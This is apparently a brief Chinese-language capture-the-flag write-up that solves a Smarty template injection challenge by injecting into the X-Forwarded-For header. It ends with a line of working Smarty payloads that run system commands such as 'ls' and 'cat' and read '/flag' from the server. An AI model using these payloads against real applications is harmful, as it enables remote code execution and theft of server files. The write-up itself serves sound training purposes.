知識點
- SSTI
- smarty
題目給了提示,Build With Smarty
看到有X-Forwarded-For,抓包添加
X-Forwarded-For: 127.0.0.1
發現Current IP被修改成我們輸入的值
上SSTI圖
測試一下是否是smarty
X-Forwarded-For: 7{*comment*}7
正常返回77,說明確實是smarty,上smarty常用payload
{if phpinfo()}{/if} {if system('ls')}{/if} { readfile('/flag') } {if show_source('/flag')}{/if} {if system('cat ../../../flag')}{/if}